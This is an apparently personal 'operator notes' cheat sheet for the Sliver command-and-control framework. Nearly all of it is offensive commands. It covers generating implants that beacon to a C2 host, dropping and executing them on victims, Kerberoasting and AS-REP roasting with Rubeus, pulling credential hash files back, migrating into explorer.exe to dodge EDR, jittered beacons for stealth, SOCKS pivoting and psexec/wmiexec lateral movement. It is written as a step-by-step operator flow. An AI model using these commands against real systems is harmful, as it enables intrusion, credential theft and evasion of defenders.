<- cd ../ (back to ~/writeups on the homepage)

[ writeup · case #037 ]

Sliver C2 — operator notes

Operator notes for the Sliver C2 framework.

date
—
read
1 min
tags
#c2 #notes
type
operator notes

Core Concepts

TermMeaning
ImplantThe binary dropped on the victim machine
BeaconAsync implant — checks in every X seconds, runs queued tasks
SessionInteractive implant — persistent live connection
Team ServerYour C2 server everyone connects to
OperatorYou — connecting to the team server via sliver-client

Connecting

bash
# connect to team server
sliver-client

# list beacons (async)
beacons

# list sessions (interactive)
sessions

# interact with a beacon or session
use <id>

# background current beacon/session
background

Situational Awareness

bash
info                        # beacon metadata (hostname, OS, arch, PID, user)
whoami                      # current user
getuid                      # UID
getpid                      # PID of the implant process
pwd                         # current directory
ls                          # list directory
ps                          # running processes — look for AV, EDR, interesting services
netstat                     # network connections — spot internal services
ifconfig                    # interfaces — spot new subnets to pivot into
env                         # environment variables — domain, paths, creds sometimes

Execution

bash
# single command, return output (non-interactive)
execute -o cmd /c whoami
execute -o powershell -c "Get-LocalGroupMember Administrators"

# drop into interactive shell (noisy — avoid on real engagements)
shell

# run C# assembly IN MEMORY — never touches disk
execute-assembly SharpHound.exe -c All
execute-assembly Rubeus.exe kerberoast
execute-assembly Rubeus.exe asreproast
execute-assembly Certify.exe find /vulnerable
execute-assembly SharpView.exe Get-DomainUser
execute-assembly Seatbelt.exe -group=all

# run BOF (Beacon Object File) — stealthiest option
inline-execute <bof.o> <args>

File Operations

bash
# upload from your machine to victim
upload /home/light/tools/SharpHound.exe C:\\Windows\\Temp\\SharpHound.exe

# download from victim to your machine
download /home/light\\Desktop\\file.txt

# list directory
ls C:\\Users\\

# delete a file
rm C:\\Windows\\Temp\\SharpHound.exe

Evasion & Stealth

bash
# migrate into a legit process — get out of your suspicious PID
ps                          # find a good target: explorer.exe, svchost.exe, RuntimeBroker.exe
migrate --pid <target-pid>

# change beacon check-in interval (higher = stealthier, slower)
reconfig --reconnect-interval 60s

# sleep the beacon
sleep 5m

# jitter (randomize interval so it doesn't look like a heartbeat)
reconfig --reconnect-interval 30s --jitter 10s

Pivoting

bash
# start a SOCKS5 proxy through the beacon
# then use proxychains on your machine to reach internal hosts
socks5 start --port 1080

# stop socks5
socks5 stop --id <id>

# port forward — map a remote port to your local machine
portfwd add --remote [REDACTED:IP]:445 --local 127.0.0.1:4450

# list portfwds
portfwd

# remove portfwd
portfwd rm --id <id>

proxychains config (/etc/proxychains4.conf):

text
socks5 127.0.0.1 1080

Lateral Movement

bash
# spawn a new beacon on a remote machine (pass the hash or creds)
psexec --username <user> --password <pass> --domain <domain> <target>

# via WMI
wmiexec --username <user> --password <pass> <target>

# generate a new implant and drop it manually via execute-assembly + upload
generate --os windows --arch amd64 --http <c2-ip> -s implant2.exe
upload /local/implant2.exe C:\\Windows\\Temp\\implant2.exe
execute -o cmd /c C:\\Windows\\Temp\\implant2.exe

Generating Implants

bash
# beacon (async) — stealthier
generate beacon --os windows --arch amd64 --http <c2-ip> -s beacon.exe

# session (interactive)
generate --os windows --arch amd64 --http <c2-ip> -s session.exe

# linux implant
generate beacon --os linux --arch amd64 --http <c2-ip> -s beacon

# list generated implants
implants

AD Enumeration Through Beacon

bash
# BloodHound collection
execute-assembly SharpHound.exe -c All --zipfilename bh.zip
download C:\\Windows\\Temp\\bh.zip

# Kerberoasting
execute-assembly Rubeus.exe kerberoast /outfile:hashes.txt
download C:\\Windows\\Temp\\hashes.txt

# AS-REP Roasting
execute-assembly Rubeus.exe asreproast /outfile:asrep.txt

# Find vulnerable cert templates (ADCS)
execute-assembly Certify.exe find /vulnerable

# Domain enumeration
execute-assembly SharpView.exe Get-DomainUser
execute-assembly SharpView.exe Get-DomainGroup
execute-assembly SharpView.exe Get-DomainComputer
execute-assembly SharpView.exe Get-DomainGPO

# Local admin check across domain
execute-assembly SharpView.exe Find-LocalAdminAccess

Useful Beacon Operator Flow

text
1. use <beacon-id>
2. info + whoami + ifconfig          → situational awareness
3. ps                                → check for AV/EDR, find migration target
4. migrate --pid <explorer.exe pid>  → stable process
5. netstat                           → spot internal services
6. execute-assembly SharpHound.exe   → AD enumeration
7. socks5 start --port 1080          → pivot to new subnets
8. portfwd / lateral movement        → next machine

C2 Channel Protocols

ProtocolStealthNotes
HTTPSHighLooks like normal web traffic
DNSVery HighSlow but nearly undetectable
mTLSMediumMutual TLS, fast
WireGuardMediumFast, but unusual traffic pattern

Quick Reference

GoalCommand
See active beaconsbeacons
Interact with beaconuse <id>
Run C# tool in memoryexecute-assembly <tool.exe> <args>
Upload fileupload <local> <remote>
Download filedownload <remote>
Start SOCKS5 proxysocks5 start --port 1080
Migrate processmigrate --pid <pid>
Run single commandexecute -o cmd /c <cmd>
List processesps
Network interfacesifconfig
Background beaconbackground
Generate new implantgenerate beacon --os windows --http <ip> -s out.exe